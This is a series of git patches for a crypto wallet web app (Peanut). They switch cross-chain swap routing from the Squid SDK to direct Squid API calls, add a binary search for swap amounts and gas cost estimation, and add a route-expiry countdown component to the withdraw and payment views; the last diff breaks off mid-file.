From b54a5e7c46c43f0e7b7d0c6212e1aee57e0bcf6c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Juan=20Jos=C3=A9=20Ram=C3=ADrez?= Date: Wed, 11 Jun 2025 22:58:35 -0300 Subject: [PATCH 01/55] feat: abstract squid route fetching Stop using the skd and use the squid API directly, this give us more control and access to all the data that returns squid (for example, we now have access to the fees and don't have to recalculate them ourselves) --- src/app/actions/tokens.ts | 5 +- src/services/swap.ts | 397 ++++++++++++++++++++++++++++++++++++++ 2 files changed, 398 insertions(+), 4 deletions(-) create mode 100644 src/services/swap.ts diff --git a/src/app/actions/tokens.ts b/src/app/actions/tokens.ts index 0d760e855..367c7ddd3 100644 --- a/src/app/actions/tokens.ts +++ b/src/app/actions/tokens.ts @@ -76,10 +76,7 @@ export const fetchTokenPrice = unstable_cache( const json: { data: IMobulaMarketData } = await mobulaResponse.json() if (mobulaResponse.ok) { - let decimals = json.data.decimals - if (decimals === undefined) { - decimals = json.data.contracts.find((contract) => contract.blockchainId === chainId)!.decimals - } + const decimals = json.data.contracts.find((contract) => contract.blockchainId === chainId)!.decimals let data = { price: json.data.price, chainId: chainId, diff --git a/src/services/swap.ts b/src/services/swap.ts new file mode 100644 index 000000000..8450fc1f5 --- /dev/null +++ b/src/services/swap.ts @@ -0,0 +1,397 @@ +'use server' +import type { Address, Hash, Hex } from 'viem' +import { parseUnits, formatUnits } from 'viem' + +import { fetchTokenPrice } from '@/app/actions/tokens' +import { fetchWithSentry } from '@/utils' + +type TokenInfo = { + address: Address + tokenAddress: Address + chainId: string +} + +type RouteParams = { + from: TokenInfo + to: TokenInfo +} & ( + | { + fromAmount: bigint + toAmount?: undefined + fromUsd?: undefined + toUsd?: undefined + } + | { + fromAmount?: undefined + toAmount: bigint + fromUsd?: undefined + toUsd?: undefined + } + | { + fromAmount?: undefined + toAmount?: undefined + fromUsd: string + toUsd?: undefined + } + | { + fromAmount?: undefined + toAmount?: undefined + fromUsd?: undefined + toUsd: string + } +) + +type SquidGetRouteParams = { + fromChain: string + fromToken: string + fromAmount: string + fromAddress: string + toAddress: string + toChain: string + toToken: string +} + +type SquidCall = { + chainType: string + callType: number + target: Address + callData: Hex + value: string + payload: { + tokenAddress: Address + inputPos: number + } + estimatedGas: string +} + +type SquidAction = { + type: 'swap' | 'rfq' + chainType: string + data: { + liquidityProvider: string + provider: string + type: string + fillerAddress: Address + expiry: string + logoURI: string + calls: SquidCall[] + } + fromChain: string + toChain: string + fromToken: SquidToken + toToken: SquidToken + fromAmount: string + toAmount: string + toAmountMin: string + exchangeRate: string + priceImpact: string + stage: number + provider: string + logoURI: string + description: string + orderHash: Hash +} + +type SquidToken = { + id: string + symbol: string + address: Address + chainId: string + name: string + decimals: number + coingeckoId: string + type: string + logoURI: string + axelarNetworkSymbol: string + subGraphOnly: boolean + subGraphIds: string[] + enabled: boolean + active: boolean + visible: boolean + usdPrice: number +} + +type SquidFeeCost = { + amount: string + amountUsd: string + description: string + gasLimit: string + gasMultiplier: number + name: string + token: SquidToken + logoURI: string +} + +type SquidGasCost = { + type: string + token: SquidToken + amount: string + gasLimit: string + amountUsd: string +} + +type SquidRouteResponse = { + route: { + estimate: { + actions: SquidAction[] + fromAmount: string + toAmount: string + toAmountMin: string + exchangeRate: string + aggregatePriceImpact: string + fromAmountUSD: string + toAmountUSD: string + toAmountMinUSD: string + aggregateSlippage: number + fromToken: SquidToken + toToken: SquidToken + isBoostSupported: boolean + feeCosts: SquidFeeCost[] + gasCosts: SquidGasCost[] + estimatedRouteDuration: number + } + transactionRequest: { + type: string + target: Address + data: Hex + value: string + gasLimit: string + lastBaseFeePerGas: string + maxFeePerGas: string + maxPriorityFeePerGas: string + gasPrice: string + requestId: string + expiry: string + expiryOffset: string + } + params: SquidGetRouteParams + quoteId: string + } +} + +/** + * Fetch the route from the squid API. + * We use this when we fetch the route several times while finding the optimal fromAmount. + */ +async function getSquidRouteRaw(params: SquidGetRouteParams): Promise { + console.dir(params) + const response = await fetchWithSentry(`${process.env.SQUID_API_URL!}/v2/route`, { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + 'x-integrator-id': process.env.SQUID_INTEGRATOR_ID!, + }, + body: JSON.stringify(params), + }) + + if (!response.ok) { + console.dir(response) + throw new Error(`Failed to get route: ${response.status}`) + } + + const data = await response.json() + return data as SquidRouteResponse +} + +/** + * Find the optimal fromAmount for a given target amount of tokens. + * + * Uses binary search to find the optimal fromAmount for a given target amount of tokens. + * This is done by calling the squid API with different fromAmount values until the + * overage is below a certain threshold. + */ +async function findOptimalFromAmount( + params: Omit, + targetToAmount: bigint, + toTokenPrice?: { price: number; decimals: number } +): Promise { + // Only fetch if not provided + const tokenPrice = toTokenPrice || (await fetchTokenPrice(params.toToken, params.toChain)) + if (!tokenPrice) throw new Error('Could not fetch to token price') + + const targetUsd = Number(formatUnits(targetToAmount, tokenPrice.decimals)) * tokenPrice.price + + // Dynamic tolerances based on USD amount + // This is needed because for different quantities the slippage is different + // for example 0.4% of 10 USD is different than 0.4% of 1000 USD + let maxOverage: number + let rangeMultiplier: { low: number; high: number } + if (targetUsd < 10) { + maxOverage = 0.005 // 0.5% + rangeMultiplier = { low: 0.9925, high: 1.015 } + } else if (targetUsd < 1000) { + maxOverage = 0.003 // 0.3% + rangeMultiplier = { low: 0.995, high: 1.009 } + } else { + maxOverage = 0.001 // 0.1% + rangeMultiplier = { low: 0.995, high: 1.01 } + } + + let lowBound = (targetToAmount * BigInt(Math.floor(rangeMultiplier.low * 10000))) / 10000n + let highBound = (targetToAmount * BigInt(Math.floor(rangeMultiplier.high * 10000))) / 10000n + + let bestResult: { response: SquidRouteResponse; overage: number } | null = null + let iterations = 0 + const maxIterations = 3 // Avoid too many calls to squid API! + + // Binary search to find the optimal fromAmount + while (iterations < maxIterations && highBound > lowBound) { + const midPoint = (lowBound + highBound) / 2n + const testParams = { ...params, fromAmount: midPoint.toString() } + + try { + const response = await getSquidRouteRaw(testParams) + const receivedAmount = BigInt(response.route.estimate.toAmount) + iterations++ + + if (receivedAmount >= targetToAmount) { + const overage = Number(receivedAmount - targetToAmount) / Number(targetToAmount) + + if (overage <= maxOverage) { + return response + } + + bestResult = { response, overage } + highBound = midPoint - 1n + } else { + lowBound = midPoint + 1n + } + } catch (error) { + lowBound = midPoint + 1n + iterations++ + } + } + + // Return best result found, or make one final call with high bound + if (bestResult) { + return bestResult.response + } + + // Fallback call + return await getSquidRouteRaw({ ...params, fromAmount: highBound.toString() }) +} + +export type PeanutCrossChainRoute = { + expiry: string + type: 'swap' | 'rfq' + transactions: { + to: Address + data: Hex + value: string + feeOptions: { + gasLimit: string + maxFeePerGas: string + maxPriorityFeePerGas: string + gasPrice: string + } + }[] + feeCostsUsd: number + rawResponse: SquidRouteResponse +} + +/** + * Get the route for a given amount of tokens from one chain to another. + * + * Accepts any specified amount either in tokens or USD, specifying send or receive amount. + * + * Returns the route with the less slippage.. + */ +export async function getRoute({ from, to, ...amount }: RouteParams): Promise { + let fromAmount: string + let response: SquidRouteResponse + + if (amount.fromAmount) { + fromAmount = amount.fromAmount.toString() + response = await getSquidRouteRaw({ + fromChain: from.chainId, + fromToken: from.tokenAddress, + fromAmount: fromAmount, + fromAddress: from.address, + toAddress: to.address, + toChain: to.chainId, + toToken: to.tokenAddress, + }) + } else if (amount.fromUsd) { + // Convert USD to token amount + const fromTokenPrice = await fetchTokenPrice(from.tokenAddress, from.chainId) + if (!fromTokenPrice) throw new Error('Could not fetch from token price') + + fromAmount = parseUnits( + (Number(amount.fromUsd) / fromTokenPrice.price).toString(), + fromTokenPrice.decimals + ).toString() + + response = await getSquidRouteRaw({ + fromChain: from.chainId, + fromToken: from.tokenAddress, + fromAmount, + fromAddress: from.address, + toAddress: to.address, + toChain: to.chainId, + toToken: to.tokenAddress, + }) + } else if (amount.toAmount) { + // Use binary search to find optimal fromAmount + response = await findOptimalFromAmount( + { + fromChain: from.chainId, + fromToken: from.tokenAddress, + fromAddress: from.address, + toAddress: to.address, + toChain: to.chainId, + toToken: to.tokenAddress, + }, + amount.toAmount + ) + } else if (amount.toUsd) { + // Convert target USD to token amount, then use binary search + const toTokenPrice = await fetchTokenPrice(to.tokenAddress, to.chainId) + if (!toTokenPrice) throw new Error('Could not fetch to token price') + + const targetToAmount = BigInt( + Math.floor((parseFloat(amount.toUsd) / toTokenPrice.price) * 10 ** toTokenPrice.decimals) + ) + + response = await findOptimalFromAmount( + { + fromChain: from.chainId, + fromToken: from.tokenAddress, + fromAddress: from.address, + toAddress: to.address, + toChain: to.chainId, + toToken: to.tokenAddress, + }, + targetToAmount, + toTokenPrice // Pass the already-fetched price + ) + } else { + throw new Error('No amount specified') + } + + const route = response.route + + const feeCostsUsd = [...route.estimate.feeCosts, ...route.estimate.gasCosts].reduce( + (sum, cost) => sum + Number(cost.amountUsd), + 0 + ) + + return { + expiry: route.transactionRequest.expiry, + type: route.estimate.actions[0].type, + transactions: [ + { + to: route.transactionRequest.target, + data: route.transactionRequest.data, + value: route.transactionRequest.value, + feeOptions: { + gasLimit: route.transactionRequest.gasLimit, + maxFeePerGas: route.transactionRequest.maxFeePerGas, + maxPriorityFeePerGas: route.transactionRequest.maxPriorityFeePerGas, + gasPrice: route.transactionRequest.gasPrice, + }, + }, + ], + feeCostsUsd, + rawResponse: response, + } +} From 769b5419252bd740c4ccbe836bae0abd0be0a700 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Juan=20Jos=C3=A9=20Ram=C3=ADrez?= <70615692+jjramirezn@users.noreply.github.com> Date: Wed, 11 Jun 2025 23:11:40 -0300 Subject: [PATCH 02/55] refactor: use parseunits Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com> --- src/services/swap.ts | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/src/services/swap.ts b/src/services/swap.ts index 8450fc1f5..d368bfe88 100644 --- a/src/services/swap.ts +++ b/src/services/swap.ts @@ -348,8 +348,9 @@ export async function getRoute({ from, to, ...amount }: RouteParams): Promise Date: Wed, 11 Jun 2025 23:13:22 -0300 Subject: [PATCH 03/55] refactor: remove console.dir --- src/services/swap.ts | 2 -- 1 file changed, 2 deletions(-) diff --git a/src/services/swap.ts b/src/services/swap.ts index d368bfe88..fac7c36f5 100644 --- a/src/services/swap.ts +++ b/src/services/swap.ts @@ -174,7 +174,6 @@ type SquidRouteResponse = { * We use this when we fetch the route several times while finding the optimal fromAmount. */ async function getSquidRouteRaw(params: SquidGetRouteParams): Promise { - console.dir(params) const response = await fetchWithSentry(`${process.env.SQUID_API_URL!}/v2/route`, { method: 'POST', headers: { @@ -185,7 +184,6 @@ async function getSquidRouteRaw(params: SquidGetRouteParams): Promise Date: Wed, 11 Jun 2025 23:38:44 -0300 Subject: [PATCH 04/55] feat: handle very large numbers with careful scaling --- src/services/swap.ts | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/src/services/swap.ts b/src/services/swap.ts index fac7c36f5..d8f4be7f5 100644 --- a/src/services/swap.ts +++ b/src/services/swap.ts @@ -243,7 +243,16 @@ async function findOptimalFromAmount( iterations++ if (receivedAmount >= targetToAmount) { - const overage = Number(receivedAmount - targetToAmount) / Number(targetToAmount) + const diff = receivedAmount - targetToAmount + const target = targetToAmount + + let overage: number + if (diff <= Number.MAX_SAFE_INTEGER && target <= Number.MAX_SAFE_INTEGER) { + overage = Number(diff) / Number(target) + } else { + // Handle very large numbers with careful scaling + overage = Number(diff / (target / 1_000_000_000_000_000_000n)) / 1e18 + } if (overage <= maxOverage) { return response From 49451d1c4f7388536343fbba31d61a65995a32ac Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Juan=20Jos=C3=A9=20Ram=C3=ADrez?= Date: Fri, 13 Jun 2025 12:34:12 -0300 Subject: [PATCH 05/55] refactor: use const for squid api url --- src/constants/general.consts.ts | 2 +- src/services/swap.ts | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/constants/general.consts.ts b/src/constants/general.consts.ts index 096d88711..caec461cb 100644 --- a/src/constants/general.consts.ts +++ b/src/constants/general.consts.ts @@ -7,7 +7,7 @@ export const peanutWalletIsInPreview = true export const INFURA_API_KEY = process.env.NEXT_PUBLIC_INFURA_API_KEY export const SQUID_INTEGRATOR_ID = '11CBA45B-5EE9-4331-B146-48CCD7ED4C7C' -export const SQUID_API_URL = 'https://apiplus.squidrouter.com/v2' +export const SQUID_API_URL = process.env.SQUID_API_URL export const infuraRpcUrls: Record = { [mainnet.id]: `https://mainnet.infura.io/v3/${INFURA_API_KEY}`, diff --git a/src/services/swap.ts b/src/services/swap.ts index d8f4be7f5..30da1e584 100644 --- a/src/services/swap.ts +++ b/src/services/swap.ts @@ -4,6 +4,7 @@ import { parseUnits, formatUnits } from 'viem' import { fetchTokenPrice } from '@/app/actions/tokens' import { fetchWithSentry } from '@/utils' +import { SQUID_API_URL } from '@/constants' type TokenInfo = { address: Address @@ -174,7 +175,7 @@ type SquidRouteResponse = { * We use this when we fetch the route several times while finding the optimal fromAmount. */ async function getSquidRouteRaw(params: SquidGetRouteParams): Promise { - const response = await fetchWithSentry(`${process.env.SQUID_API_URL!}/v2/route`, { + const response = await fetchWithSentry(`${SQUID_API_URL}/v2/route`, { method: 'POST', headers: { 'Content-Type': 'application/json', From 37a248c3a074340e097eb1b74057dfec5ba19903 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Juan=20Jos=C3=A9=20Ram=C3=ADrez?= Date: Wed, 18 Jun 2025 16:47:09 -0300 Subject: [PATCH 06/55] feat: add cross-chain action card Use coral through squid to get the cross-chain route for the different flows. This enables xchain withdraw for peanut wallet --- src/app/(mobile-ui)/withdraw/crypto/page.tsx | 74 +++- src/app/[...recipient]/client.tsx | 1 + src/app/actions/tokens.ts | 43 +- .../Global/PeanutActionDetailsCard/index.tsx | 100 +++-- .../Global/RouteExpiryTimer/index.tsx | 190 +++++++++ .../Payment/Views/Confirm.payment.view.tsx | 72 +++- .../Withdraw/views/Confirm.withdraw.view.tsx | 37 +- .../Withdraw/views/Initial.withdraw.view.tsx | 8 +- src/hooks/usePaymentInitiator.ts | 398 ++++-------------- src/services/swap.ts | 202 +++++++-- src/utils/index.ts | 1 + 11 files changed, 705 insertions(+), 421 deletions(-) create mode 100644 src/components/Global/RouteExpiryTimer/index.tsx diff --git a/src/app/(mobile-ui)/withdraw/crypto/page.tsx b/src/app/(mobile-ui)/withdraw/crypto/page.tsx index 9deed8c86..8eed94b8e 100644 --- a/src/app/(mobile-ui)/withdraw/crypto/page.tsx +++ b/src/app/(mobile-ui)/withdraw/crypto/page.tsx @@ -8,6 +8,7 @@ import ConfirmWithdrawView from '@/components/Withdraw/views/Confirm.withdraw.vi import InitialWithdrawView from '@/components/Withdraw/views/Initial.withdraw.view' import { useWithdrawFlow, WithdrawData } from '@/context/WithdrawFlowContext' import { InitiatePaymentPayload, usePaymentInitiator } from '@/hooks/usePaymentInitiator' +import { useWallet } from '@/hooks/wallet/useWallet' import { useAppDispatch, usePaymentStore } from '@/redux/hooks' import { paymentActions } from '@/redux/slices/payment-slice' import { chargesApi } from '@/services/charges' @@ -21,13 +22,15 @@ import { } from '@/services/services.types' import { NATIVE_TOKEN_ADDRESS } from '@/utils/token.utils' import { interfaces as peanutInterfaces } from '@squirrel-labs/peanut-sdk' +import { PEANUT_WALLET_CHAIN } from '@/constants' import { useRouter } from 'next/navigation' -import { useCallback, useEffect } from 'react' +import { useCallback, useEffect, useMemo } from 'react' export default function WithdrawCryptoPage() { const router = useRouter() const dispatch = useAppDispatch() const { chargeDetails: activeChargeDetailsFromStore } = usePaymentStore() + const { isConnected: isPeanutWallet } = useWallet() const { amountToWithdraw, setAmountToWithdraw, @@ -47,8 +50,11 @@ export default function WithdrawCryptoPage() { initiatePayment, isProcessing, error: paymentErrorFromHook, - feeCalculations, + estimatedGasCost, prepareTransactionDetails, + xChainRoute, + isCalculatingFees, + isPreparingTx, } = usePaymentInitiator() useEffect(() => { @@ -68,9 +74,11 @@ export default function WithdrawCryptoPage() { useEffect(() => { if (currentView === 'CONFIRM' && activeChargeDetailsFromStore && withdrawData) { - prepareTransactionDetails(activeChargeDetailsFromStore, false) + console.log('Preparing withdraw transaction details...') + console.dir(activeChargeDetailsFromStore) + prepareTransactionDetails(activeChargeDetailsFromStore, true, amountToWithdraw) } - }, [currentView, activeChargeDetailsFromStore, withdrawData, prepareTransactionDetails]) + }, [currentView, activeChargeDetailsFromStore, withdrawData, prepareTransactionDetails, amountToWithdraw]) const handleSetupReview = useCallback( async (data: Omit) => { @@ -191,6 +199,13 @@ export default function WithdrawCryptoPage() { } }, [activeChargeDetailsFromStore, withdrawData, amountToWithdraw, dispatch, initiatePayment, setCurrentView]) + const handleRouteRefresh = useCallback(async () => { + if (!activeChargeDetailsFromStore) return + console.log('Refreshing withdraw route due to expiry...') + console.log('About to call prepareTransactionDetails with:', activeChargeDetailsFromStore) + await prepareTransactionDetails(activeChargeDetailsFromStore, true, amountToWithdraw) + }, [activeChargeDetailsFromStore, prepareTransactionDetails, amountToWithdraw]) + const handleBackFromConfirm = useCallback(() => { setCurrentView('INITIAL') setPaymentError(null) @@ -198,8 +213,48 @@ export default function WithdrawCryptoPage() { dispatch(paymentActions.setChargeDetails(null)) }, [dispatch, setCurrentView]) - const displayError = paymentError + // Check if this is a cross-chain withdrawal (align with usePaymentInitiator logic) + const isCrossChainWithdrawal = useMemo(() => { + if (!withdrawData || !activeChargeDetailsFromStore) return false + + // In withdraw flow, we're moving from Peanut Wallet to the selected chain + // This matches the logic in usePaymentInitiator for withdraw flows + const fromChainId = isPeanutWallet ? PEANUT_WALLET_CHAIN.id.toString() : withdrawData.chain.chainId + const toChainId = activeChargeDetailsFromStore.chainId + + console.log('Cross-chain check:', { + fromChainId, + toChainId, + isPeanutWallet, + isCrossChain: fromChainId !== toChainId, + }) + + return fromChainId !== toChainId + }, [withdrawData, activeChargeDetailsFromStore, isPeanutWallet]) + + // Check for route type errors (similar to payment flow) + const routeTypeError = useMemo(() => { + if (!isCrossChainWithdrawal || !xChainRoute || !isPeanutWallet) return null + + // For peanut wallet flows, only RFQ routes are allowed + if (xChainRoute.type === 'swap') { + return 'This token pair is not available for withdraw.' + } + + return null + }, [isCrossChainWithdrawal, xChainRoute, isPeanutWallet]) + + const displayError = paymentError ?? routeTypeError const confirmButtonDisabled = !activeChargeDetailsFromStore || isProcessing + const shouldShowRetry = !!displayError + + // Get network fee from route or fallback + const networkFee = useCallback(() => { + if (xChainRoute?.feeCostsUsd) { + return xChainRoute.feeCostsUsd < 0.01 ? '$ <0.01' : `$ ${xChainRoute.feeCostsUsd.toFixed(2)}` + } + return '$ 0.00' + }, [xChainRoute]) if (!amountToWithdraw) { return @@ -224,9 +279,14 @@ export default function WithdrawCryptoPage() { toAddress={withdrawData.address} onConfirm={handleConfirmWithdrawal} onBack={handleBackFromConfirm} - isProcessing={confirmButtonDisabled} + isProcessing={isProcessing} error={displayError} - networkFee={feeCalculations?.estimatedFee} + networkFee={networkFee()} + // Timer props for cross-chain withdrawals + isCrossChain={isCrossChainWithdrawal} + routeExpiry={xChainRoute?.expiry} + isRouteLoading={isCalculatingFees || isPreparingTx} + onRouteRefresh={handleRouteRefresh} /> )} diff --git a/src/app/[...recipient]/client.tsx b/src/app/[...recipient]/client.tsx index 694946269..accaca4fd 100644 --- a/src/app/[...recipient]/client.tsx +++ b/src/app/[...recipient]/client.tsx @@ -393,6 +393,7 @@ export default function PaymentPage({ recipient, flow = 'request_pay' }: Props) isPintaReq={parsedPaymentData?.token?.symbol === 'PNT'} currencyAmount={currencyCode && currencyAmount ? `${currencySymbol} ${currencyAmount}` : undefined} isAddMoneyFlow={isAddMoneyFlow} + isDirectPay={isDirectPay} /> )} {currentView === 'STATUS' && ( diff --git a/src/app/actions/tokens.ts b/src/app/actions/tokens.ts index 367c7ddd3..91d7ea6f2 100644 --- a/src/app/actions/tokens.ts +++ b/src/app/actions/tokens.ts @@ -2,10 +2,11 @@ import { unstable_cache } from 'next/cache' import { fetchWithSentry, isAddressZero, estimateIfIsStableCoinFromPrice } from '@/utils' import { type ITokenPriceData } from '@/interfaces' -import type { Address } from 'viem' import { parseAbi } from 'viem' import { type ChainId, getPublicClient } from '@/app/actions/clients' -import { getTokenDetails } from '@/utils' +import { getTokenDetails, NATIVE_TOKEN_ADDRESS, isStableCoin } from '@/utils' +import { formatUnits } from 'viem' +import type { Address, Hex } from 'viem' type IMobulaMarketData = { id: number @@ -86,7 +87,7 @@ export const fetchTokenPrice = unstable_cache( decimals, logoURI: json.data.logo, } - if (estimateIfIsStableCoinFromPrice(json.data.price)) { + if (isStableCoin(data.symbol) || estimateIfIsStableCoinFromPrice(json.data.price)) { data.price = 1 } return data @@ -143,3 +144,39 @@ export const fetchTokenDetails = unstable_cache( tags: ['fetchTokenDetails'], } ) + +/** + * Estimate gas cost for transaction in USD + */ +export async function estimateTransactionCostUsd( + fromAddress: Address, + contractAddress: Address, + data: Hex, + chainId: string +): Promise { + try { + const client = await getPublicClient(Number(chainId) as ChainId) + + // Estimate gas for approve transaction + const gasEstimate = await client.estimateGas({ + account: fromAddress, + to: contractAddress, + data, + }) + + // Get current gas price + const gasPrice = await client.getGasPrice() + + // Calculate gas cost in native token + const gasCostWei = gasEstimate * gasPrice + + const nativeTokenPrice = await fetchTokenPrice(NATIVE_TOKEN_ADDRESS, chainId) + const estimatedCostUsd = nativeTokenPrice ? Number(formatUnits(gasCostWei, 18)) * nativeTokenPrice.price : 0.01 + + return estimatedCostUsd + } catch (error) { + console.error('Error estimating transaction cost:', error) + // Return a conservative estimate if we can't calculate exact cost + return 0.01 + } +} diff --git a/src/components/Global/PeanutActionDetailsCard/index.tsx b/src/components/Global/PeanutActionDetailsCard/index.tsx index d9ac458d1..3722d12ee 100644 --- a/src/components/Global/PeanutActionDetailsCard/index.tsx +++ b/src/components/Global/PeanutActionDetailsCard/index.tsx @@ -8,6 +8,7 @@ import { twMerge } from 'tailwind-merge' import Attachment from '../Attachment' import Card from '../Card' import { Icon, IconName } from '../Icons/Icon' +import RouteExpiryTimer from '../RouteExpiryTimer' interface PeanutActionDetailsCardProps { transactionType: 'REQUEST' | 'RECEIVED_LINK' | 'CLAIM_LINK' | 'REQUEST_PAYMENT' | 'ADD_MONEY' | 'WITHDRAW' @@ -20,6 +21,14 @@ interface PeanutActionDetailsCardProps { className?: HTMLDivElement['className'] fileUrl?: string avatarSize?: AvatarSize + // Cross-chain timer props + showTimer?: boolean + timerExpiry?: string + isTimerLoading?: boolean + onTimerNearExpiry?: () => void + onTimerExpired?: () => void + disableTimerRefetch?: boolean + timerError?: string | null } export default function PeanutActionDetailsCard({ @@ -33,6 +42,13 @@ export default function PeanutActionDetailsCard({ className, fileUrl, avatarSize = 'medium', + showTimer = false, + timerExpiry, + isTimerLoading = false, + onTimerNearExpiry, + onTimerExpired, + disableTimerRefetch = false, + timerError = null, }: PeanutActionDetailsCardProps) { const renderRecipient = () => { if (recipientType === 'ADDRESS') return printableAddress(recipientName) @@ -75,46 +91,58 @@ export default function PeanutActionDetailsCard({ }, []) return ( - +
- -
+
+ +
-
- {getTitle()} -

- {tokenSymbol.toLowerCase() === PEANUT_WALLET_TOKEN_SYMBOL.toLowerCase() ? '$ ' : ''} - {amount} +
+ {getTitle()} +

+ {tokenSymbol.toLowerCase() === PEANUT_WALLET_TOKEN_SYMBOL.toLowerCase() ? '$ ' : ''} + {amount} - {tokenSymbol.toLowerCase() !== PEANUT_WALLET_TOKEN_SYMBOL.toLowerCase() && - ` ${tokenSymbol.toLowerCase() === 'pnt' ? (Number(amount) === 1 ? 'Beer' : 'Beers') : tokenSymbol}`} -

+ {tokenSymbol.toLowerCase() !== PEANUT_WALLET_TOKEN_SYMBOL.toLowerCase() && + ` ${tokenSymbol.toLowerCase() === 'pnt' ? (Number(amount) === 1 ? 'Beer' : 'Beers') : tokenSymbol}`} +

- + + {showTimer && ( + + )} +
) diff --git a/src/components/Global/RouteExpiryTimer/index.tsx b/src/components/Global/RouteExpiryTimer/index.tsx new file mode 100644 index 000000000..ce8704864 --- /dev/null +++ b/src/components/Global/RouteExpiryTimer/index.tsx @@ -0,0 +1,190 @@ +import React, { useState, useEffect, useCallback } from 'react' +import { twMerge } from 'tailwind-merge' + +interface RouteExpiryTimerProps { + expiry?: string // ISO string from route + isLoading?: boolean + onNearExpiry?: () => void // Called when timer gets close to expiry (e.g., 30 seconds) + onExpired?: () => void // Called when timer expires + className?: string + nearExpiryThresholdMs?: number // Default 30 seconds + disableRefetch?: boolean // Disable refetching when user is signing transaction + error?: string | null // Error message to display instead of timer +} + +interface TimeRemaining { + minutes: number + seconds: number + totalMs: number +} + +const RouteExpiryTimer: React.FC = ({ + expiry, + isLoading = false, + onNearExpiry, + onExpired, + className, + nearExpiryThresholdMs = 5000, // 5 seconds + disableRefetch = false, + error = null, +}) => { + const [timeRemaining, setTimeRemaining] = useState(null) + const [hasTriggeredNearExpiry, setHasTriggeredNearExpiry] = useState(false) + const [hasExpired, setHasExpired] = useState(false) + + const calculateTimeRemaining = useCallback((): TimeRemaining | null => { + if (!expiry) return null + + const now = new Date().getTime() + // Expiry is Unix timestamp in seconds, convert to milliseconds + const expiryTime = parseInt(expiry) * 1000 + + // Check if expiry time is valid + if (isNaN(expiryTime)) { + console.warn('Invalid expiry time:', expiry) + return null + } + + const diff = expiryTime - now + + if (diff <= 0) { + return { minutes: 0, seconds: 0, totalMs: 0 } + } + + const minutes = Math.floor(diff / 60000) + const seconds = Math.floor((diff % 60000) / 1000) + + return { minutes, seconds, totalMs: diff } + }, [expiry]) + + useEffect(() => { + if (!expiry || isLoading) { + setTimeRemaining(null) + setHasTriggeredNearExpiry(false) + setHasExpired(false) + return + } + + const updateTimer = () => { + const remaining = calculateTimeRemaining() + setTimeRemaining(remaining) + + if (!remaining || remaining.totalMs <= 0) { + if (!hasExpired) { + setHasExpired(true) + onExpired?.() + } + return + } + + // Trigger near expiry callback only if refetch is not disabled + if ( + !disableRefetch && + !hasTriggeredNearExpiry && + remaining.totalMs <= nearExpiryThresholdMs && + remaining.totalMs > 0 + ) { + setHasTriggeredNearExpiry(true) + onNearExpiry?.() + } + } + + // Initial calculation + updateTimer() + + // Set up interval to update every second + const interval = setInterval(updateTimer, 1000) + + return () => clearInterval(interval) + }, [ + expiry, + isLoading, + calculateTimeRemaining, + onNearExpiry, + onExpired, + nearExpiryThresholdMs, + hasTriggeredNearExpiry, + hasExpired, + disableRefetch, + ]) + + const formatTime = (time: TimeRemaining): string => { + const paddedMinutes = time.minutes.toString().padStart(2, '0') + const paddedSeconds = time.seconds.toString().padStart(2, '0') + return `${paddedMinutes}:${paddedSeconds}` + } + + const getProgressPercentage = (): number => { + if (!timeRemaining || !expiry) return 0 + + // Assuming routes typically have 1-minute expiry (300 seconds) + // This could be made configurable if needed + const totalDurationMs = 1 * 60 * 1000 // 1 minutes + const elapsedMs = totalDurationMs - timeRemaining.totalMs + return Math.max(0, Math.min(100, (elapsedMs / totalDurationMs) * 100)) + } + + const getProgressColor = (): string => { + if (!timeRemaining) return 'bg-grey-3' + + const percentage = getProgressPercentage() + + // Green for first 70% + if (percentage < 70) return 'bg-green-500' + // Yellow for 70-85% + if (percentage < 85) return 'bg-yellow-500' + // Red for final 15% + return 'bg-red' + } + + const shouldPulse = (): boolean => { + if (isLoading) return true + if (!timeRemaining) return false + return timeRemaining.totalMs <= nearExpiryThresholdMs && timeRemaining.totalMs > 0 + } + + const getText = (): string => { + if (error) return error + if (isLoading) return 'Finding best rate...' + if (!expiry) return 'No quote available' + if (!timeRemaining) return 'Quote expired' + if (timeRemaining.totalMs <= 0) return 'Quote expired' + return `Price locked for ${formatTime(timeRemaining)}` + } + + return ( +
+ {/* Status text */} +
+ 0) + ? 'text-grey-1' + : 'text-error' + )} + > + {getText()} + +
+ + {/* Progress bar */} +
+
+
+
+ ) +} + +export default RouteExpiryTimer diff --git a/src/components/Payment/Views/Confirm.payment.view.tsx b/src/components/Payment/Views/Confirm.payment.view.tsx index 15834837e..60142bf44 100644 --- a/src/components/Payment/Views/Confirm.payment.view.tsx +++ b/src/components/Payment/Views/Confirm.payment.view.tsx @@ -13,6 +13,7 @@ import PeanutActionDetailsCard from '@/components/Global/PeanutActionDetailsCard import PeanutLoading from '@/components/Global/PeanutLoading' import PeanutSponsored from '@/components/Global/PeanutSponsored' import PintaReqViewWrapper from '@/components/PintaReqPay/PintaReqViewWrapper' +import RouteExpiryTimer from '@/components/Global/RouteExpiryTimer' import { TRANSACTIONS } from '@/constants/query.consts' import { tokenSelectorContext } from '@/context' import { usePaymentInitiator } from '@/hooks/usePaymentInitiator' @@ -37,6 +38,7 @@ type ConfirmPaymentViewProps = { } currencyAmount?: string isAddMoneyFlow?: boolean + isDirectPay?: boolean } export default function ConfirmPaymentView({ @@ -44,6 +46,7 @@ export default function ConfirmPaymentView({ currency, currencyAmount, isAddMoneyFlow, + isDirectPay = false, }: ConfirmPaymentViewProps) { const dispatch = useAppDispatch() const searchParams = useSearchParams() @@ -56,11 +59,12 @@ export default function ConfirmPaymentView({ isPreparingTx, loadingStep, error: paymentError, - feeCalculations, + estimatedGasCost, isCalculatingFees, isEstimatingGas, isFeeEstimationError, cancelOperation: cancelPaymentOperation, + xChainRoute, } = usePaymentInitiator() const { selectedTokenData, selectedChainID } = useContext(tokenSelectorContext) const { isConnected: isPeanutWallet, address: peanutWalletAddress, fetchBalance } = useWallet() @@ -68,6 +72,16 @@ export default function ConfirmPaymentView({ const { rewardWalletBalance } = useWalletStore() const queryClient = useQueryClient() + const networkFee = useMemo(() => 